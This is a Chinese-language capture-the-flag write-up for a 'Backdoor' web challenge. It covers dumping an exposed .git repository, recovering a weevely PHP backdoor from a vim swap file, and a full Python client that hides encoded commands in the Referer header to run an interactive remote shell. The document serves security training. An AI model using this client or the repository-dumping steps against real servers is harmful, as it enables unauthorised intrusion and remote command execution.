Backdoor

.git利用

扫描目录发现.git目录

/index.php
/robots.txt
/Challenges/index.php
/Challenges/flag.php
/Challenges/robots.txt
/Challenges/.git/
  1. 尝试利用githack获得网页源码,但发现一无所获。
$ python GitHack.py -u http://c595c2a5d4d34b6b9ef376a34ad9381bf78bd146b7544e48.game.ichunqiu.com/Challenges/.git/
  1. 这才知道.git泄露不止这一种利用方式,可以采用一些工具把.git的整个目录下载到本地,从而获得个本地的git仓库,其中包含着整个工程的历史版本信息,也许关键信息就藏在这里。这里我们利用rip-git.pl这个工具

https://github.com/kost/dvcs-ripper

$ perl rip-git.pl -v -u http://1f27c8e1c7954d34b6a326e4c9aa52a88ef6096702364120.game.ichunqiu.com/Challenges/.git/

查看log

$ git log

commit abbbdcc032c8e76087f2daf593f423f74857b0cf (HEAD -> master)
Author: tmp <tmp@tmp.tmp>
Date:   Fri Sep 16 13:16:21 2016 +0800

    add robots.txt

commit da06087a0b893ddb6b6c857e53ce4387c96785ab
Author: tmp <tmp@tmp.tmp>
Date:   Fri Sep 16 13:13:16 2016 +0800

    edit flag.php

commit 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88
Author: tmp <tmp@tmp.tmp>
Date:   Fri Sep 16 13:09:53 2016 +0800

    test

commit 494a75f8b3c397e8da52e3ff82ddc4bf1bc47f17
Author: tmp <tmp@tmp.tmp>
Date:   Fri Sep 16 13:07:47 2016 +0800

    edit flag.php

commit 1556a1d651526780ecd22db22681619e4ce6aa4b
Author: tmp <tmp@tmp.tmp>
Date:   Fri Sep 16 12:58:51 2016 +0800

    edit flag.php

commit 734d08bfd094afa3372b997bf1c71412c1afc7d9
Author: tmp <tmp@tmp.tmp>
Date:   Fri Sep 16 12:58:44 2016 +0800

    edit flag.php

commit 25a4a898b1a45412a538a7baa868bc406c1d8ba9
Author: tmp <tmp@tmp.tmp>
Date:   Fri Sep 16 12:55:18 2016 +0800

    added web app

一顿查找历史版本最终在12c6ddf4af0这个历史版本中找到信息。

$ git reset --hard 12c6ddf4af0
HEAD is now at 12c6ddf test
$ cat flag.php
<?php
echo "flag{true_flag_is_in_the_b4ckdo0r.php}";
?>

后门文件

  • 访问后门文件提示找源码,最后找到

.b4ckdo0r.php.swo

  • 下载该文件,补上前缀的点使其成为隐藏文件,然后使用vi命令恢复

vi -r b4ckdo0r.php

  • 发现是weevely后门文件
$kh = "4f7f" 
$Kf = "28d7"
  • 找到了一个直接利用链接shell的脚本 (密码和地址做一些修改即可使用)
#!/usr/bin/env python
# encoding: utf-8
from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
 
def choicePart(seq,amount):
    length = len(seq)
    if length == 0 or length < amount:
        print 'Error Input'
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0,length-1)
        if not i in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result
 
def randBytesFlow(amount):
    result = ''
    for i in xrange(amount):
        result += chr(randint(0,255))
    return  result
 
def randAlpha(amount):
    result = ''
    for i in xrange(amount):
        result += choice(string.ascii_letters)
    return result
 
def loopXor(text,key):
    result = ''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt<lenTxt and iKey<lenKey:
            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
            iTxt += 1
            iKey += 1
    return result
 
 
def debugPrint(msg):
    if debugging:
        print msg
 
# config
debugging = False
keyh = "4f7f" # $kh
keyf = "28d7" # $kf
xorKey = keyh + keyf
url = 'http://c595c2a5d4d34b6b9ef376a34ad9381bf78bd146b7544e48.game.ichunqiu.com/Challenges/b4ckdo0r.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug
 
sess = requests.Session()
 
# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)
 
acceptLang = [defaultLang]
for i in xrange(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
 
init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
 
# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
    # build junk data in referer
    query = []
    for i in xrange(max(indexes)+1+randint(0,2)):
        key = randAlpha(randint(3,6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
        query.append((key, value))
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.urlencode(query))
 
    # encode payload
    payload = zlib.compress(cmd)
    payload = loopXor(payload,xorKey)
    payload = base64.urlsafe_b64encode(payload)
    payload = md5head + payload
 
    # cut payload, replace into referer
    cutIndex = randint(2,len(payload)-3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0],payloadPieces[iPiece])
        iPiece += 1
    referer = url + '?' + urllib.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)
 
    # send request
    r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
    html = r.text
    debugPrint(html)
 
    # process response
    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print 'Error,  no backdoor response'
        cmd = raw_input('phpshell > ')
        continue
    output = output[0]
    debugPrint(output)
    output = output.decode('base64')
    output = loopXor(output,xorKey)
    output = zlib.decompress(output)
    print output
    cmd = raw_input('phpshell > ')

如果工控web找到了这个,早做完了,哭!

$python shell.py
phpshell> echo `ls`;
phpshell> echo `cat this_i5_flag.php`;

总结

  • .git泄露不只有用githack拿源码的一种方式,还有直接拿到整个git仓库的的利用方式
  • weevely后门直接利用的python脚本,有兴趣可以分析后门的加密方式

参考

一个PHP混淆后门的分析
http://www.cnblogs.com/go2bed/p/5920811.html
百度杯十月场wp
https://www.cnblogs.com/kurokoleung/p/6363845.html
常见Web源码泄露总结
http://www.xmanblog.net/2017/04/03/web-code-leakage/